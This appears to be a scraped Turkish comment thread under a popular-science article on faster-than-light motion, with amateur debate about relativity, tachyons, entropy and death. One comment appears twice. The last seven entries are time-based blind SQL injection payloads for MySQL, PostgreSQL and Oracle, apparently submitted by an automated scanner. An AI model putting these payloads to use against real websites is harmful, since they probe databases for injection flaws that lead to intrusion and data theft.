http://www.bilgiustam.com/isiktan-daha-hizli-bir-sey-var-midir/ Yazıya güzel giriş yapmış, geliştiriyormuş sonra heyecanlı yerinde bırakmış. (: Yalnız şu konuda itirazım var: \"O zaman görelilik kuramı tamamen kalkmasa bile büyük değişikliklere uğrayacaktır. \" denmiş ama hayır. Özel görelilik tamamen çökecektir. çünkü maddenin bütün boyutlardaki hızlarının vektörel toplamının ışık hızına eşit olduğunu söyler ve her şeyi bunun üzerinden açıklar. Işık hızını geçmenin neden zamanda geriye gitmek olmayacağını düşündüğümü özel görelilik üzerinden anlatabilirdim; ama bu teorinin geçersiz olduğu koşullarda düşüncemin önemi de yok. Çünkü zaten tam olarak anlayamadığımı düşündüğüm zaman kavramını aslında hiç anlamadığım ortaya çıkar. (:

entropiyi hesaba atıyorsun deil mi sonuçta düzensizlik tersine işleyecek ama güzelbi bakış açısı diyorum +1

Konuyu bilmediği halde yorum yapan, araştırmayı bilemediği halde + bahsedilen insanları tanımadığı halde haklarında olumsuz ve bilgisizce yazılar yazan, her şeye muhalefet olan; koyun sürüsü misali önde ki neyi takip ederse onu takip eden bir insana benim artık cevabım yok.. Bundan sonra yorum yaparsanız kaâle almayacağım ve dediğiniz gibi olsun, tebrik ederim çürüttünüz beni süpersiniz. bu şekilde devam edin lütfen geleceğe ve fiziğe dair çok faydalı bir birey olacaksınız.. @Emir Karamekik kesinlikle çöker, benim zaten göstermek istediğim şey daima ileriye gidiş olabilir ve Einstein gibi fizik tanrısı bir insan bile zamanla yanılabilir.. Einstein\'a herhangi bir sempatizanlığım tâbi kide yok. Sadece \"ya olursa\" kısmındayım.. Yalnızca teoriler değil, bildiğimiz her şey bile değişebilir. @sevim en önemli yasası çökmüş olur. çok net bir bilgi paylaşamam, çünkü çok fazla bağdaştırmadım ama yine tahminlerimden yola çıkarsam, bu bahsettiklerim mükemmeliyettir ve entropi haliyle sıfır olabilir. Ama yine dediğim gibi, bir çok teori ve yasa, entorininde belli başlı yasaları; felsefik, teolojik, istatistik entropiler değişir. -dediğim ütopik durum gerçek olabilirse-

Konuyu bilmediği halde yorum yapan, araştırmayı bilemediği halde + bahsedilen insanları tanımadığı halde haklarında olumsuz ve bilgisizce yazılar yazan, her şeye muhalefet olan; koyun sürüsü misali önde ki neyi takip ederse onu takip eden bir insana benim artık cevabım yok.. Bundan sonra yorum yaparsanız kaâle almayacağım ve dediğiniz gibi olsun, tebrik ederim çürüttünüz beni süpersiniz. bu şekilde devam edin lütfen geleceğe ve fiziğe dair çok faydalı bir birey olacaksınız.. @Emir Karamekik kesinlikle çöker, benim zaten göstermek istediğim şey daima ileriye gidiş olabilir ve Einstein gibi fizik tanrısı bir insan bile zamanla yanılabilir.. Einstein\'a herhangi bir sempatizanlığım tâbi kide yok. Sadece \"ya olursa\" kısmındayım.. Yalnızca teoriler değil, bildiğimiz her şey bile değişebilir. @sevim en önemli yasası çökmüş olur. çok net bir bilgi paylaşamam, çünkü çok fazla bağdaştırmadım ama yine tahminlerimden yola çıkarsam, bu bahsettiklerim mükemmeliyettir ve entropi haliyle sıfır olabilir. Ama yine dediğim gibi, bir çok teori ve yasa, entorininde belli başlı yasaları; felsefik, teolojik, istatistik entropiler değişir. -dediğim ütopik durum gerçek olabilirse-

merhaba @akbc takyonların 2 yönde gittiğini söylüyorsunuz buda 2 yükünün olduğnun bir kanıtıdır yani takyonları bir mıgnatısa benzetmişiniz bundan yola çıkarak elektronların - yüklü olduğnu biliyoruz elektronlara bi tarafı protonlarada diğer tarafa sabit olacağını ve parçacık fiziğinde kütleçekim kuvvetinin ikisinede eişt olacağın varsayalım böylece atomun çekirdeğinde sonsuz bir hızda dönmesi gerekmez miydi? ama takyonların bi özelliğinin burada unutmuşsunuz takyonlara bir F kuvveti uyguladığınızda hızı dahada artar önemli olan takyona kuvvet uygulamayı bırakmak o zaman büyük bi ihtimalle teoriler dediğimiz büyük zincir çözülcektir ama 2 yöne birden gitmesini heisinberg ilkesi ile açıklanabileceğini düşünüyorum çünkü çapları planck uzunluğundan daha küçük olmaz takyonların ?

neye gore olumsuzluk , olum eger olumu insan bilincinin evrende var olmamasi olarak adlandiriyorsan soyle bi cevap vermek istiyorum bu evreninde bir sonu var , yani evren yoksa bilincinde yok evren de biticek , senin tabirinle olucak yani olumsuzluk diye bisi yok ister beynini kavanozda sakla ister milyon milyar yil bilinci acik bi varlik ol evren yoksa sende yoksun :D evren ice dogru cokmeye basladigindada yolun yarisi bitmis kalan yariyidi omrun olarak bicmis demektir

bilincin evren disinda bir yerdede var olabiliyor olabilir , bu durumda yine olmus olursun , uzun yazmiycam ayni seyler iste. olumsuzluk bu evrende yok. bu evren olumsuz degil.

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555GzUufDrw' OR 224=(SELECT 224 FROM PG_SLEEP(15))--

555PxjNmN74') OR 655=(SELECT 655 FROM PG_SLEEP(15))--

555xmIPELSS')) OR 848=(SELECT 848 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)